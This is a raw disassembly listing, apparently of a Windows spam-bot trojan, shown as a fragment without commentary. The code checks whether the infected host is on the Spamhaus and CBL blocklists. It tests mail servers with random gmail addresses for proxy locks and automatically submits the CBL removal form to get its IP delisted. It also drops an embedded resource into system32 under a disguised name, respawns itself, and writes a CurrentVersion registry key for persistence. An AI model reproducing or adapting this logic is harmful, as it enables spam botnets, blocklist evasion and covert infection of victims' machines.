; sub_403A28+A7j ...
or ebx, 4
push offset aXblListed_ ; "XBL listed.\n"
jmp short loc_403B0A
; ---------------------------------------------------------------------------
loc_403B02: ; CODE XREF: sub_403A28+99j
or ebx, 2
push offset aSblListed_ ; "SBL listed.\n"
loc_403B0A: ; CODE XREF: sub_403A28+D8j
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
loc_403B1A: ; CODE XREF: sub_403A28+8Fj
; sub_403A28+CEj
mov esi, [esi]
loc_403B1C: ; CODE XREF: sub_403A28+7Aj
test esi, esi
jnz short loc_403AA4
push 1
push [ebp+var_4]
call sub_40D778 ; DnsRecordListFree
jmp short loc_403B41
; ---------------------------------------------------------------------------
loc_403B2C: ; CODE XREF: sub_403A28+71j
push offset aNotOnRbl_LetSR ; "Not on RBL. Let's rock!\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
pop ecx
loc_403B41: ; CODE XREF: sub_403A28+102j
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_403A28 endp
; =============== S U B R O U T I N E =======================================
sub_403B47 proc near ; CODE XREF: sub_405089+7Ap
mov eax, offset loc_41B28A
call sub_41AE44
sub esp, 3Ch
push ebx
push esi
xor ebx, ebx
push ebx
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
mov [ebp-4], ebx
cmp [edi+50h], ebx
jnz short loc_403B8D
loc_403B70: ; CODE XREF: sub_403B47+12Aj
xor esi, esi
loc_403B72: ; CODE XREF: sub_403B47+B6j
push ebx
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_403B8D: ; CODE XREF: sub_403B47+27j
lea eax, [ebp-44h]
lea esi, [edi+3Ch]
push eax
mov ecx, esi
call sub_40D228
pop ecx
push 0FFFFFFFFh
push ebx
push eax
lea ecx, [ebp-28h]
mov byte ptr [ebp-4], 1
call sub_401315
push ebx
push 1
lea ecx, [ebp-44h]
mov [ebp-4], bl
call sub_4013C4
lea eax, [ebp-28h]
push eax
push edi
call sub_403C76
test al, al
jz short loc_403C02
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_403BD4
loc_403BD1: ; CODE XREF: sub_403B47+E6j
lea eax, [ebp-24h]
loc_403BD4: ; CODE XREF: sub_403B47+88j
; sub_403B47+EBj
push eax
push offset aProxyLockFound ; "Proxy lock found: %s\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
push 0FFFFFFFFh
push ebx
lea eax, [ebp-28h]
push eax
lea ecx, [edi+58h]
call sub_401315
push 8
pop esi
jmp loc_403B72
; ---------------------------------------------------------------------------
loc_403C02: ; CODE XREF: sub_403B47+7Fj
push offset aSmtp_ ; "smtp."
lea ecx, [ebp-28h]
call sub_4013A7
push 0FFFFFFFFh
mov eax, esi
push ebx
lea esi, [ebp-28h]
call sub_401F95
mov eax, esi
push eax
push edi
call sub_403C76
test al, al
jz short loc_403C34
loc_403C29: ; CODE XREF: sub_403B47+113j
cmp dword ptr [ebp-10h], 10h
jb short loc_403BD1
mov eax, [ebp-24h]
jmp short loc_403BD4
; ---------------------------------------------------------------------------
loc_403C34: ; CODE XREF: sub_403B47+E0j
push offset aMail_ ; "mail."
lea ecx, [ebp-28h]
call sub_4013A7
push 0FFFFFFFFh
push ebx
lea eax, [edi+3Ch]
lea esi, [ebp-28h]
call sub_401F95
mov eax, esi
push eax
push edi
call sub_403C76
test al, al
jnz short loc_403C29
push offset aNoProxyLockFou ; "No proxy lock found\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
pop ecx
pop ecx
jmp loc_403B70
sub_403B47 endp
; =============== S U B R O U T I N E =======================================
sub_403C76 proc near ; CODE XREF: sub_403B47+78p
; sub_403B47+D9p ...
mov eax, offset loc_41B270
call sub_41AE44
sub esp, 60h
push ebx
xor ebx, ebx
inc ebx
test byte ptr dword_424EA8, bl
push esi
push edi
jnz short loc_403CA7
or dword_424EA8, ebx
push offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz"
call sub_40D970
pop ecx
mov dword_424EA4, eax
loc_403CA7: ; CODE XREF: sub_403C76+19j
or dword ptr [ebp-6Ch], 0FFFFFFFFh
lea esi, [ebp-68h]
call sub_4012E2
push 0Fh
pop esi
xor edi, edi
mov [ebp-4], edi
push edi
lea ecx, [ebp-4Ch]
mov [ebp-34h], esi
call sub_401564
push edi
lea ecx, [ebp-30h]
mov [ebp-18h], esi
call sub_401564
mov byte ptr [ebp-4], 2
call sub_40FA86
mov edi, eax
and edi, 80000007h
jns short loc_403CEB
dec edi
or edi, 0FFFFFFF8h
inc edi
loc_403CEB: ; CODE XREF: sub_403C76+6Ej
add edi, 3
jz short loc_403D16
loc_403CF0: ; CODE XREF: sub_403C76+9Ej
dec edi
call sub_40FA86
xor edx, edx
div dword_424EA4
lea esi, [ebp-4Ch]
mov al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz"
mov [ebp-14h], al
push dword ptr [ebp-14h]
call sub_40140F
test edi, edi
jnz short loc_403CF0
loc_403D16: ; CODE XREF: sub_403C76+78j
push 40h
lea esi, [ebp-4Ch]
call sub_40140F
mov eax, [ebp+8]
push 0FFFFFFFFh
add eax, 3Ch
push 0
mov [ebp-14h], eax
call sub_401F95
call sub_40FA86
mov edi, eax
and edi, 80000007h
jns short loc_403D46
dec edi
or edi, 0FFFFFFF8h
inc edi
loc_403D46: ; CODE XREF: sub_403C76+C9j
add edi, 3
jz short loc_403D71
loc_403D4B: ; CODE XREF: sub_403C76+F9j
dec edi
call sub_40FA86
xor edx, edx
div dword_424EA4
lea esi, [ebp-30h]
mov al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz"
mov [ebp+8], al
push dword ptr [ebp+8]
call sub_40140F
test edi, edi
jnz short loc_403D4B
loc_403D71: ; CODE XREF: sub_403C76+D3j
push 40h
lea esi, [ebp-30h]
call sub_40140F
push offset aGmail_com ; "gmail.com"
mov eax, esi
push eax
call sub_401C66
mov edi, [ebp+0Ch]
lea eax, [ebp-6Ch]
call sub_40CCCC
call sub_40D211
test al, al
jnz short loc_403DCD
loc_403D9C: ; CODE XREF: sub_403C76+16Aj
; sub_403C76+180j
push 0
push ebx
lea ecx, [ebp-30h]
call sub_4013C4
push 0
push ebx
lea ecx, [ebp-4Ch]
call sub_4013C4
lea eax, [ebp-6Ch]
call sub_40CCB1
xor al, al
loc_403DBC: ; CODE XREF: sub_403C76+1BCj
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_403DCD: ; CODE XREF: sub_403C76+124j
push dword ptr [ebp-14h]
lea eax, [ebp-6Ch]
push eax
call sub_40CE97
call sub_40D211
test al, al
jz short loc_403D9C
lea eax, [ebp-4Ch]
push eax
lea eax, [ebp-6Ch]
push eax
call sub_40CF4A
call sub_40D211
test al, al
jz short loc_403D9C
lea eax, [ebp-30h]
push eax
lea eax, [ebp-6Ch]
push eax
call sub_40CFFD
call sub_40D211
test al, al
jnz short loc_403E34
mov [ebp+0Bh], al
loc_403E11: ; CODE XREF: sub_403C76+1C9j
push 0
push ebx
lea ecx, [ebp-30h]
call sub_4013C4
push 0
push ebx
lea ecx, [ebp-4Ch]
call sub_4013C4
lea eax, [ebp-6Ch]
call sub_40CCB1
mov al, [ebp+0Bh]
jmp short loc_403DBC
; ---------------------------------------------------------------------------
loc_403E34: ; CODE XREF: sub_403C76+196j
lea ecx, [ebp-6Ch]
call sub_40D183
mov [ebp+0Bh], bl
jmp short loc_403E11
sub_403C76 endp
; =============== S U B R O U T I N E =======================================
sub_403E41 proc near ; CODE XREF: sub_402F64+D4p
mov eax, offset loc_41B428
call sub_41AE44
sub esp, 8C4h
push ebx
push esi
push edi
push 0Fh
pop esi
xor edi, edi
push edi
lea ecx, [ebp-34h]
mov [ebp-1Ch], esi
call sub_401564
mov [ebp-4], edi
push edi
lea ecx, [ebp-70h]
mov [ebp-58h], esi
call sub_401564
push edi
lea ecx, [ebp-50h]
mov [ebp-38h], esi
call sub_401564
push edi
lea ecx, [ebp-8Ch]
mov [ebp-74h], esi
call sub_401564
push edi
push edi
push 3
push edi
mov byte ptr [ebp-4], 3
push edi
push 50h
push offset aCbl_abuseat_or ; "cbl.abuseat.org"
push dword_424E80
mov eax, offset asc_41E334 ; "*/*"
mov [ebp-9Ch], eax
mov [ebp-98h], edi
mov dword ptr [ebp-0B4h], offset aImageGif ; "image/gif"
mov dword ptr [ebp-0B0h], offset aImageXBitmap ; "image/x-bitmap"
mov dword ptr [ebp-0ACh], offset aImageJpeg ; "image/jpeg"
mov dword ptr [ebp-0A8h], offset aImagePjpeg ; "image/pjpeg"
mov [ebp-0A4h], eax
mov [ebp-0A0h], edi
call dword_41C1C0 ; InternetConnectA
mov esi, eax
cmp esi, edi
mov [ebp-14h], esi
jnz short loc_403F1B
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aInternetconnec ; "InternetConnect: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
jmp loc_4045CC
; ---------------------------------------------------------------------------
loc_403F1B: ; CODE XREF: sub_403E41+B7j
push edi
push 4480200h
lea eax, [ebp-9Ch]
push eax
push edi
push edi
push offset aLookup_cgi ; "lookup.cgi"
push offset aGet ; "GET"
push esi
call dword_41C1C8 ; HttpOpenRequestA
mov ebx, eax
cmp ebx, edi
jnz short loc_403F69
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpopenreques ; "HttpOpenRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
push esi
call dword_41C1D0 ; InternetCloseHandle
jmp loc_4045CC
; ---------------------------------------------------------------------------
loc_403F69: ; CODE XREF: sub_403E41+FEj
push offset aAcceptLanguage ; "Accept-Language: en\r\n"
lea ecx, [ebp-50h]
call sub_4013A7
push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
lea eax, [ebp-50h]
push eax
call sub_401C66
cmp dword ptr [ebp-38h], 10h
mov eax, [ebp-4Ch]
jnb short loc_403F90
lea eax, [ebp-4Ch]
loc_403F90: ; CODE XREF: sub_403E41+14Aj
push edi
push edi
push 0FFFFFFFFh
push eax
push ebx
call dword_41C1CC ; HttpSendRequestA
test eax, eax
jnz short loc_403FCF
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpsendreques ; "HttpSendRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
mov esi, dword_41C1D0
add esp, 10h
push ebx
call esi ; InternetCloseHandle
push dword ptr [ebp-14h]
call esi ; InternetCloseHandle
jmp loc_4045CC
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_403E41+15Dj
push edi
lea eax, [ebp-10h]
push eax
lea eax, [ebp-18h]
push eax
push 20000013h
push ebx
mov dword ptr [ebp-10h], 4
call dword_41C1D8 ; HttpQueryInfoA
mov eax, [ebp-18h]
push 64h
xor edx, edx
pop ecx
div ecx
cmp eax, 2
jnz short loc_40403D
lea eax, [ebp-70h]
call sub_4053F0
mov esi, 800h
jmp short loc_404020
; ---------------------------------------------------------------------------
loc_404009: ; CODE XREF: sub_403E41+1F8j
cmp [ebp-10h], edi
jbe short loc_404056
push dword ptr [ebp-10h]
lea eax, [ebp-8D0h]
push eax
lea eax, [ebp-70h]
call sub_402039
loc_404020: ; CODE XREF: sub_403E41+1C6j
lea eax, [ebp-10h]
push eax
push esi
lea eax, [ebp-8D0h]
push eax
push ebx
mov [ebp-10h], esi
call dword_41C1C4 ; InternetReadFile
cmp eax, 1
jz short loc_404009
jmp short loc_404056
; ---------------------------------------------------------------------------
loc_40403D: ; CODE XREF: sub_403E41+1B7j
push dword ptr [ebp-18h]
push offset aRblServerRespo ; "RBL server response code: %d\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
loc_404056: ; CODE XREF: sub_403E41+1CBj
; sub_403E41+1FAj
push ebx
mov ebx, dword_41C1D0
call ebx ; InternetCloseHandle
push 6
call dword_41C090 ; Sleep
push offset aLookup_cgi?ip ; "lookup.cgi?ip="
lea ecx, [ebp-34h]
call sub_4013A7
mov eax, [ebp+8]
push 0FFFFFFFFh
add eax, 4
push edi
lea esi, [ebp-34h]
mov [ebp-54h], eax
call sub_401F95
push offset aSubmitLookup ; "&submit=Lookup"
mov eax, esi
push eax
call sub_401C66
cmp dword ptr [ebp-1Ch], 10h
mov eax, [ebp-30h]
jnb short loc_4040A1
lea eax, [ebp-30h]
loc_4040A1: ; CODE XREF: sub_403E41+25Bj
push edi
push 4480200h
lea ecx, [ebp-0B4h]
push ecx
push offset aHttpCbl_abusea ; "http://cbl.abuseat.org/lookup.cgi"
push edi
push eax
push offset aGet ; "GET"
push dword ptr [ebp-14h]
call dword_41C1C8 ; HttpOpenRequestA
mov esi, eax
cmp esi, edi
mov [ebp+8], esi
jnz short loc_4040ED
loc_4040CC: ; CODE XREF: sub_403E41+443j
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpopenreques ; "HttpOpenRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
jmp loc_4045C7
; ---------------------------------------------------------------------------
loc_4040ED: ; CODE XREF: sub_403E41+289j
push offset aAcceptLanguage ; "Accept-Language: en\r\n"
lea ecx, [ebp-50h]
call sub_4013A7
push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
lea eax, [ebp-50h]
push eax
call sub_401C66
cmp dword ptr [ebp-38h], 10h
mov eax, [ebp-4Ch]
jnb short loc_404114
lea eax, [ebp-4Ch]
loc_404114: ; CODE XREF: sub_403E41+2CEj
push edi
push edi
push 0FFFFFFFFh
push eax
push esi
call dword_41C1CC ; HttpSendRequestA
test eax, eax
jnz short loc_404146
loc_404124: ; CODE XREF: sub_403E41+47Ej
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpsendreques ; "HttpSendRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
push esi
jmp loc_4045C5
; ---------------------------------------------------------------------------
loc_404146: ; CODE XREF: sub_403E41+2E1j
push edi
lea eax, [ebp-10h]
push eax
lea eax, [ebp-18h]
push eax
push 20000013h
push esi
mov dword ptr [ebp-10h], 4
call dword_41C1D8 ; HttpQueryInfoA
mov eax, [ebp-18h]
push 64h
xor edx, edx
pop ecx
div ecx
cmp eax, 2
jnz short loc_4041B6
lea eax, [ebp-70h]
call sub_4053F0
mov esi, 800h
jmp short loc_404197
; ---------------------------------------------------------------------------
loc_404180: ; CODE XREF: sub_403E41+371j
cmp [ebp-10h], edi
jbe short loc_4041CF
push dword ptr [ebp-10h]
lea eax, [ebp-8D0h]
push eax
lea eax, [ebp-70h]
call sub_402039
loc_404197: ; CODE XREF: sub_403E41+33Dj
lea eax, [ebp-10h]
push eax
push esi
lea eax, [ebp-8D0h]
push eax
push dword ptr [ebp+8]
mov [ebp-10h], esi
call dword_41C1C4 ; InternetReadFile
cmp eax, 1
jz short loc_404180
jmp short loc_4041CF
; ---------------------------------------------------------------------------
loc_4041B6: ; CODE XREF: sub_403E41+32Ej
push dword ptr [ebp-18h]
push offset aRblServerRespo ; "RBL server response code: %d\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
loc_4041CF: ; CODE XREF: sub_403E41+342j
; sub_403E41+373j
push dword ptr [ebp+8]
call ebx ; InternetCloseHandle
mov esi, offset aWasNotFound ; "was not found"
push esi
call sub_40D970
pop ecx
push eax
push esi
lea eax, [ebp-70h]
push eax
xor eax, eax
call sub_401E6B
cmp eax, 0FFFFFFFFh
jz short loc_40420C
push offset aNotListed_ ; "Not listed.\n"
call sub_4024A7
push eax
push 4
loc_4041FF: ; CODE XREF: sub_403E41+53Dj
pop ecx
call sub_40195C
pop ecx
pop ecx
jmp loc_4045C7
; ---------------------------------------------------------------------------
loc_40420C: ; CODE XREF: sub_403E41+3AFj
push 4
call dword_41C090 ; Sleep
push 0FFFFFFFFh
push edi
lea eax, [ebp-34h]
push eax
lea ecx, [ebp-8Ch]
call sub_401315
push offset aRemove_cgi?ip ; "remove.cgi?ip="
lea ecx, [ebp-34h]
call sub_4013A7
mov eax, [ebp-54h]
push 0FFFFFFFFh
push edi
lea esi, [ebp-34h]
call sub_401F95
cmp dword ptr [ebp-74h], 10h
mov ecx, [ebp-88h]
jnb short loc_404253
lea ecx, [ebp-88h]
loc_404253: ; CODE XREF: sub_403E41+40Aj
cmp dword ptr [ebp-1Ch], 10h
mov eax, [ebp-30h]
jnb short loc_40425F
lea eax, [ebp-30h]
loc_40425F: ; CODE XREF: sub_403E41+419j
push edi
push 4480200h
lea edx, [ebp-0B4h]
push edx
push ecx
push edi
push eax
push offset aGet ; "GET"
push dword ptr [ebp-14h]
call dword_41C1C8 ; HttpOpenRequestA
mov esi, eax
cmp esi, edi
mov [ebp+8], esi
jz loc_4040CC
push offset aAcceptLanguage ; "Accept-Language: en\r\n"
lea ecx, [ebp-50h]
call sub_4013A7
push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
lea eax, [ebp-50h]
push eax
call sub_401C66
cmp dword ptr [ebp-38h], 10h
mov eax, [ebp-4Ch]
jnb short loc_4042B1
lea eax, [ebp-4Ch]
loc_4042B1: ; CODE XREF: sub_403E41+46Bj
push edi
push edi
push 0FFFFFFFFh
push eax
push esi
call dword_41C1CC ; HttpSendRequestA
test eax, eax
jz loc_404124
push edi
lea eax, [ebp-10h]
push eax
lea eax, [ebp-18h]
push eax
push 20000013h
push esi
mov dword ptr [ebp-10h], 4
call dword_41C1D8 ; HttpQueryInfoA
mov eax, [ebp-18h]
push 64h
xor edx, edx
pop ecx
div ecx
cmp eax, 2
jnz short loc_404335
lea eax, [ebp-70h]
call sub_4053F0
mov esi, 800h
jmp short loc_404316
; ---------------------------------------------------------------------------
loc_4042FF: ; CODE XREF: sub_403E41+4F0j
cmp [ebp-10h], edi
jbe short loc_40434E
push dword ptr [ebp-10h]
lea eax, [ebp-8D0h]
push eax
lea eax, [ebp-70h]
call sub_402039
loc_404316: ; CODE XREF: sub_403E41+4BCj
lea eax, [ebp-10h]
push eax
push esi
lea eax, [ebp-8D0h]
push eax
push dword ptr [ebp+8]
mov [ebp-10h], esi
call dword_41C1C4 ; InternetReadFile
cmp eax, 1
jz short loc_4042FF
jmp short loc_40434E
; ---------------------------------------------------------------------------
loc_404335: ; CODE XREF: sub_403E41+4ADj
push dword ptr [ebp-18h]
push offset aRblServerRespo ; "RBL server response code: %d\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
loc_40434E: ; CODE XREF: sub_403E41+4C1j
; sub_403E41+4F2j
push dword ptr [ebp+8]
call ebx ; InternetCloseHandle
mov esi, offset aNameConfirmVal ; "name=\"confirm\" value=\""
push esi
call sub_40D970
pop ecx
push eax
push esi
lea eax, [ebp-70h]
push eax
xor eax, eax
call sub_401E6B
cmp eax, 0FFFFFFFFh
jnz short loc_404383
push offset aCannotFindConf ; "Cannot find confirmation code to remove"...
call sub_4024A7
push eax
push 3
jmp loc_4041FF
; ---------------------------------------------------------------------------
loc_404383: ; CODE XREF: sub_403E41+52Ej
xor esi, esi
inc esi
push esi
lea ecx, [ebp+8]
push ecx
lea ecx, [ebp-70h]
add eax, 16h
push ecx
mov [ebp-90h], eax
mov byte ptr [ebp+8], 22h
call sub_401E6B
cmp eax, 0FFFFFFFFh
mov [ebp-94h], eax
jnz short loc_4043CB
push offset aCannotFindConf ; "Cannot find confirmation code to remove"...
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
loc_4043C1: ; CODE XREF: sub_403E41+5FBj
push dword ptr [ebp-14h]
call ebx ; InternetCloseHandle
jmp loc_4045CF
; ---------------------------------------------------------------------------
loc_4043CB: ; CODE XREF: sub_403E41+569j
push 8
call dword_41C090 ; Sleep
push 0FFFFFFFFh
push edi
lea eax, [ebp-34h]
push eax
lea ecx, [ebp-8Ch]
call sub_401315
cmp dword ptr [ebp-74h], 10h
mov eax, [ebp-88h]
jnb short loc_4043F7
lea eax, [ebp-88h]
loc_4043F7: ; CODE XREF: sub_403E41+5AEj
push edi
push 4480200h
lea ecx, [ebp-0B4h]
push ecx
push eax
push edi
push offset aRemove_cgi ; "remove.cgi"
push offset aPost ; "POST"
push dword ptr [ebp-14h]
call dword_41C1C8 ; HttpOpenRequestA
cmp eax, edi
mov [ebp+8], eax
jnz short loc_40443E
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpopenreques ; "HttpOpenRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
jmp short loc_4043C1
; ---------------------------------------------------------------------------
loc_40443E: ; CODE XREF: sub_403E41+5DDj
push offset aAcceptLanguage ; "Accept-Language: en\r\n"
lea ecx, [ebp-50h]
call sub_4013A7
push offset aContentTypeApp ; "Content-Type: application/x-www-form-ur"...
lea eax, [ebp-50h]
push eax
call sub_401C66
push offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
lea eax, [ebp-50h]
push eax
call sub_401C66
push offset aIp ; "ip="
lea ecx, [ebp-34h]
call sub_4013A7
mov eax, [ebp-54h]
push 0FFFFFFFFh
push edi
lea esi, [ebp-34h]
call sub_401F95
push offset aConfirm ; "&confirm="
mov eax, esi
push eax
call sub_401C66
mov eax, [ebp-94h]
sub eax, [ebp-90h]
lea esi, [ebp-0D0h]
push eax
push dword ptr [ebp-90h]
lea eax, [ebp-70h]
push eax
call sub_405527
push 0FFFFFFFFh
push edi
lea esi, [ebp-34h]
mov byte ptr [ebp-4], 4
call sub_401F95
push edi
push 1
lea ecx, [ebp-0D0h]
mov byte ptr [ebp-4], 3
call sub_4013C4
push offset aOwnerYesVirusP ; "&owner=yes&virus=&proxy=&comments=&canr"...
mov eax, esi
push eax
call sub_401C66
mov eax, [ebp-54h]
push 0FFFFFFFFh
push edi
call sub_401F95
cmp dword ptr [ebp-1Ch], 10h
mov ecx, [ebp-30h]
jnb short loc_4044F6
lea ecx, [ebp-30h]
loc_4044F6: ; CODE XREF: sub_403E41+6B0j
cmp dword ptr [ebp-38h], 10h
mov eax, [ebp-4Ch]
jnb short loc_404502
lea eax, [ebp-4Ch]
loc_404502: ; CODE XREF: sub_403E41+6BCj
push dword ptr [ebp-20h]
push ecx
push 0FFFFFFFFh
push eax
push dword ptr [ebp+8]
call dword_41C1CC ; HttpSendRequestA
test eax, eax
jnz short loc_404537
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aHttpsendreques ; "HttpSendRequest: %$\n"
push 3
call sub_4024A7
push eax
call sub_40196F
add esp, 10h
jmp loc_4045C2
; ---------------------------------------------------------------------------
loc_404537: ; CODE XREF: sub_403E41+6D3j
push edi
lea eax, [ebp-10h]
push eax
lea eax, [ebp-18h]
push eax
push 20000013h
push dword ptr [ebp+8]
mov dword ptr [ebp-10h], 4
call dword_41C1D8 ; HttpQueryInfoA
mov eax, [ebp-18h]
push 64h
xor edx, edx
pop ecx
div ecx
cmp eax, 2
jnz short loc_4045A9
lea eax, [ebp-70h]
call sub_4053F0
mov esi, 800h
jmp short loc_40458A
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_403E41+764j
cmp [ebp-10h], edi
jbe short loc_4045C2
push dword ptr [ebp-10h]
lea eax, [ebp-8D0h]
push eax
lea eax, [ebp-70h]
call sub_402039
loc_40458A: ; CODE XREF: sub_403E41+730j
lea eax, [ebp-10h]
push eax
push esi
lea eax, [ebp-8D0h]
push eax
push dword ptr [ebp+8]
mov [ebp-10h], esi
call dword_41C1C4 ; InternetReadFile
cmp eax, 1
jz short loc_404573
jmp short loc_4045C2
; ---------------------------------------------------------------------------
loc_4045A9: ; CODE XREF: sub_403E41+721j
push dword ptr [ebp-18h]
push offset aRblServerRespo ; "RBL server response code: %d\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
loc_4045C2: ; CODE XREF: sub_403E41+6F1j
; sub_403E41+735j ...
push dword ptr [ebp+8]
loc_4045C5: ; CODE XREF: sub_403E41+300j
call ebx ; InternetCloseHandle
loc_4045C7: ; CODE XREF: sub_403E41+2A7j
; sub_403E41+3C6j
push dword ptr [ebp-14h]
call ebx ; InternetCloseHandle
loc_4045CC: ; CODE XREF: sub_403E41+D5j
; sub_403E41+123j ...
xor esi, esi
inc esi
loc_4045CF: ; CODE XREF: sub_403E41+585j
push edi
push esi
lea ecx, [ebp-8Ch]
call sub_4013C4
push edi
push esi
lea ecx, [ebp-50h]
call sub_4013C4
push edi
push esi
lea ecx, [ebp-70h]
call sub_4013C4
push edi
push esi
lea ecx, [ebp-34h]
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_403E41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40460B proc near ; CODE XREF: sub_4047AC+11Dp
; sub_4048E7+98p ...
var_468 = byte ptr -468h
var_68 = byte ptr -68h
var_58 = dword ptr -58h
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 468h
cmp dword ptr [ebx+18h], 10h
push esi
lea eax, [ebx+4]
push edi
mov [ebp+var_4], eax
jb short loc_404624
mov eax, [eax]
loc_404624: ; CODE XREF: sub_40460B+15j
push eax
push offset aRespawningAsS_ ; "Respawning as %s ...\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
push 400h
lea eax, [ebp+var_468]
push eax
call dword_41C08C ; GetWindowsDirectoryA
lea eax, [ebp+var_468]
push offset aSystem32Helper ; "\\system32\\helpermnew1winc4.exe"
push eax
call sub_40FE50
pop ecx
pop ecx
push offset aRt_helper ; "RT_HELPER"
push 65h
xor edi, edi
push edi
call dword_41C07C ; FindResourceA
cmp eax, edi
mov [ebp+var_8], eax
jnz short loc_404697
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aFindresource ; "FindResource: %$\n"
push 1
call sub_4024A7
push eax
call sub_40196F
loc_404690: ; CODE XREF: sub_40460B+E6j
add esp, 10h
loc_404693: ; CODE XREF: sub_40460B+194j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_404697: ; CODE XREF: sub_40460B+6Aj
mov esi, dword_41C0B0
push 80h
lea eax, [ebp+var_468]
push eax
call esi ; SetFileAttributesA
lea eax, [ebp+var_468]
push offset aWb ; "wb"
push eax
call sub_40FA66
cmp eax, edi
pop ecx
pop ecx
mov [ebp+var_C], eax
jnz short loc_4046F3
call sub_40F79E
mov esi, eax
call sub_40F79E
push dword ptr [esi]
mov edi, eax
call sub_40F6FC
pop ecx
push eax
push dword ptr [edi]
push offset aFopenDS ; "fopen: (%d) %s\n"
call sub_4024A7
push eax
push 2
pop ecx
call sub_40195C
jmp short loc_404690
; ---------------------------------------------------------------------------
loc_4046F3: ; CODE XREF: sub_40460B+B8j
push eax
push [ebp+var_8]
push edi
call dword_41C094 ; SizeofResource
push eax
push 1
push [ebp+var_8]
push edi
call dword_41C080 ; LoadResource
push eax
call dword_41C0B8 ; SetHandleCount
push eax
call sub_40FC7C
push [ebp+var_C]
call sub_40FD7C
add esp, 14h
push 6
lea eax, [ebp+var_468]
push eax
call esi ; SetFileAttributesA
push 44h
pop esi
push esi
lea eax, [ebp+var_58]
push edi
push eax
call sub_40DD10
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
mov [ebp+var_58], esi
call dword_41C0A0 ; GetStartupInfoA
cmp dword ptr [ebx+18h], 10h
mov eax, [ebp+var_4]
mov [ebp+var_2C], 1
mov [ebp+var_28], di
jb short loc_404762
mov eax, [eax]
loc_404762: ; CODE XREF: sub_40460B+153j
lea ecx, [ebp+var_68]
push ecx
lea ecx, [ebp+var_58]
push ecx
push edi
push edi
push edi
push edi
push edi
push edi
push eax
lea eax, [ebp+var_468]
push eax
call dword_41C09C ; CreateProcessA
test eax, eax
jnz short loc_4047A4
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aCreateprocess ; "CreateProcess: %$\n"
call sub_4024A7
push eax
push 2
pop ecx
call sub_40195C
add esp, 0Ch
jmp loc_404693
; ---------------------------------------------------------------------------
loc_4047A4: ; CODE XREF: sub_40460B+175j
push edi
call dword_41C100 ; ExitProcess
int 3 ; Trap to Debugger
sub_40460B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4047AC proc near ; CODE XREF: sub_405089:loc_4050D7p
mov eax, offset sub_41B60D
call sub_41AE44
sub esp, 828h
push ebx
push esi
push edi
mov esi, 400h
push esi
lea eax, [ebp-834h]
push eax
call dword_41C08C ; GetWindowsDirectoryA
lea eax, [ebp-834h]
push offset aSystem32Mnew1w ; "\\system32\\mnew1winc4.exe"
push eax
call sub_40FE50
pop ecx
pop ecx
push esi
lea eax, [ebp-434h]
push eax
xor esi, esi
push esi
call dword_41C0C0 ; GetModuleFileNameA
mov edi, dword_41C00C
lea eax, [ebp-18h]
push eax
lea eax, [ebp-14h]
push eax
push esi
push 20006h
push esi
push esi
push esi
mov ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push ebx
push 80000002h
call edi ; RegCreateKeyExA
test eax, eax
jnz short loc_40484E
lea eax, [ebp-434h]
push eax
